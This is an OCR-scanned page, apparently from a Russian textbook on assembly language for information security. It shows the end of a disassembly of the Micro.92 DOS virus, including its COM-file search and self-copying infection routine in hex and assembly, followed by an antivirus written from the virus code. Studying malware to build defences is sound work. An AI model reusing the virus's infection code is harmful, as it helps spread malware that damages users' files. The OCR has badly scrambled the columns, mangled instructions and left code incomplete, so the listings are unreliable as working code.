Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [ 42 ] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

0120 80 ЗЕ 9Е FE В4

0125 74 17 0127 ВО 02 0129 Е8 1Е 00 012С A3 06 01

012С

012F В4 40 0131 CD 21 0131

0133 32 СО

0135 Е8 12 00 0138 8В D7 013А 34 40 013С CD 21 013С 013Е

013Е В4 ЗЕ 0140 CD 21 0140

0142 В4 4F

0144 ЕВ С7

0146

0146

0146 57

0147 F3 А4 0149 СЗ 0149

0149 014А 014А 014А 51 014В 52 014С 99 014D 33 С9 014F В4 42 0151 CD 21

jz mov call mov

byte ptr ds:0FE9Eh, 0B4h Примитивная проверка зараженности NextFile

al, 2 ; FSeek с конца файла FileSeek

word ptr ModSiCmd+2, ax : Адрес буфера для нового

: экземпляра размещаем в ОП после кода СОМ файла

ah, 40h

al, al

AL:=0, FSeek с начала файла

call

FileSeek

dx, di

ah, 40h

NextFile

ah, 3Eh

ah, 4Fh

4Fh - найти следующий файл short SearchLoop

start

MoveCode: push di repe movsb retn

endp ; sp = -2

FileSeek proc near

push

push

cx dx

cx, cx ah, 42h 21h

0151 0153 5А

pop dx ; Если нет сбоя, то АХ ; содержит новую позицию ; в файле

0154 59 pop сх

0155 СЗ retn

0155 FileSeek endp 0155

0156 2А 2Е 63 4F 6D 00 FMask db *.cOm,0 0156 segOOO ends

0156

0156 end start

Из этого вируса сделать антивирус уже сложнее. Во-первых, нужно учесть возможных варианта:

зараженный файл, из которого вирус надо вычистить,

и чистый экземпляр вируса, который надо просто стереть.

Во-вторьгх, такого рода вирусы-малютки основаны на комбинации функций 1 которые не портят необходимых для работы алгоритма значений, находяш в регистрах; антивирус, основанный на подобных комбинациях, написать тоже можн рассматриваемая версия использует просто сохранение значений в выделенных для : переменных или в стеке перед вызовом "портящих" подпрограмм. Наконец, в-третьн Micro.92 нужно выкинуть больще команд, специфичных именно для вируса.

В отличие от DHog.68, здесь команды, связанные с алгоритмом заражения, раскиданы по телу вируса (насколько это возможно в таком маленьком вирусе). Кс да под меткой ModSiCmd устанавливает регистр si на буфер сразу после кода ф; жертвы. Точнее говоря, в дизассемблированном чистом экземпляре она сделанг вынесения буфера "с запасом" ближе к концу сегмента. А вот при заражении кая нового файла в ее поле операнда заносится размер файла-жертвы, чтобы вирус moi тать его "голову" сразу же после "хвоста"; это делается командой

mov word ptr ModSiCmd+2, ax,

a в регистре ax находится размер файла, полученный переходом на его i подпрограммой FileSeek.

Алгоритм вычищения зараженного файла более-менее очевиден:

считать 92 байта из конца файла,

переписать их в начало,

после чего перейти на 92 байта от конца файла и отрезать уже ненужный кусок.

Итак, исходный текст антивируса.



; Антивирус против вируса Micro.92 ; Изготовлен из самого дизассемблированного вируса segOOO segment byte public CODE

assume cs:segOOO

org lOOh

assume es:nothing, ss:nothing, ds:segOOO

public

start

start proc

near

call

ShowTitle

, 4Eh

di, si

si, OFFOOh

dx, offset

FMask

cl, 5Ch

SearchLoop:

ClnFile:

jb Finish ; Больше файлов нет

mov dx, 9Eh ; Имя найденного файла в DTA

mov ax, 3D02h

int 21h

xchg ax, bx

mov FHandle, bx ; Запомнить идентификатор файла

call WriteFName

mov ah, 3Fh

mov cx, 92 ; Размер считываемого куска

mov dx, offset Buffer

int 21h

call GetFSize

call ChkSgn ; Проверка зараженности

cmp SgnStatus, 0 je ClnFile

cmp SgnStatus, 2

je NextFile ; Вытереть после закры

call RemoveVirus ; Чистка

mov ah, 9

mov dx, offset ClnMsg

int 21h

jmp NextFile

mov ah, 09h ; Выдать Ok для чистого файла

mov int

NextFile:

SkipDel:

mov mov int

cmp jne mov mov int mov mov int

mov jmp

Finish:

start endp

FileSeek

push

push

pop pop retn

FileSeek

FHandle

FSize

SgnStatus

dx, offset OkMsg 21h

bx, FHandle ah, 3Eh 21h

SgnStatus, 2 SkipDel ah, 41h dx, 9Eh

21h ; Стереть файл по имени, указанном в DTA+lEh ah, 9

dx, offset DelMsg 21h

ah, 4Fh ; 4Fh - найти следующий файл short SearchLoop

proc near

cx, cx ah, 42h

dx ; Если нет сбоя, то АХ содержит новую позицию в файле сх

endp

dw О dw О

db О ; О - чистый файл, 1 - зараженный файл, 2 - вирус без жертвы



268 Ассемблер в задачах защиты информации

Buffer

VirSignature

SgnOfs SgnSize FMask OkMsg

ClnMsg db DelMsg db TitleText db db db

db 92 dup CM

db OBOh, 02h, 0E8h, lEh, OOh, 0A3h, 06h, Olh

db 0B4h, 40h, OCDh, 21h

dw 27h dw 12

db *.com,0 db - Ok, 13, 10, $ заражен Micro.92 - вычищен!, 13, 10, $ заражен Micro, 92 - пришлось стереть!, 13, 10,, $

-1, 13, 10

Anti-Micro.92 , 13, 10 Антивирус из вируса. , 13, 10 db I--, 13, 10, $

ShowTitle raov raov int

ret ShowTitle

proc near ah, 9

dx, offset TitleText 21h

endp

; Проверка сигнатуры ChkSgn proc near

cld mov add mov mov rep cmp jne mov cmp ja raov

SgnStatus, 0 ; Ничего пока не найдено FSize, 92 ; Не проверять - слишком маленькие файлы ExitChkSgn

di, offset Buffer di, SgnOfs

si, offset VirSignature cx, SgnSize cmpsb cx, 0

ExitChkSgn SgnStatus, 1 FSize, 92

ExitChkSgn SgnStatus, 2

Сигнатура не найдена

Глава 3. Программные средства защиты информации

26<

ExitChkSgn:

ChkSgn endp

; Чистка вируса

RemoveVirus proc near

call

LoadVictim

call

SaveVictim

call

TruncFile

RemoveVirus endp

; Считать код жертвы из конца файла (92 байт)

LoadVictim proc near

; Перейти на 92 байта от конца файла

raov

bx, FHandle

al, 2

dx, 92 •

call

FileSeek

; Считать последние 92 байта

ah, 3Fh

raov

bx, FHandle

dx, offset Buffer

cx, 92

LoadVictira endp

; Записать считанный код жертвы в начало файла SaveVictim proc near ; Перейти в начало файла

bx, FHandle

al, al

dx, dx

call

FileSeek

ah, 40h

bx, FHandle

raov

dx, offset Buffer

cx, 92

Проверить: a не чистый ли это экземпляр вируса?



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [ 42 ] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88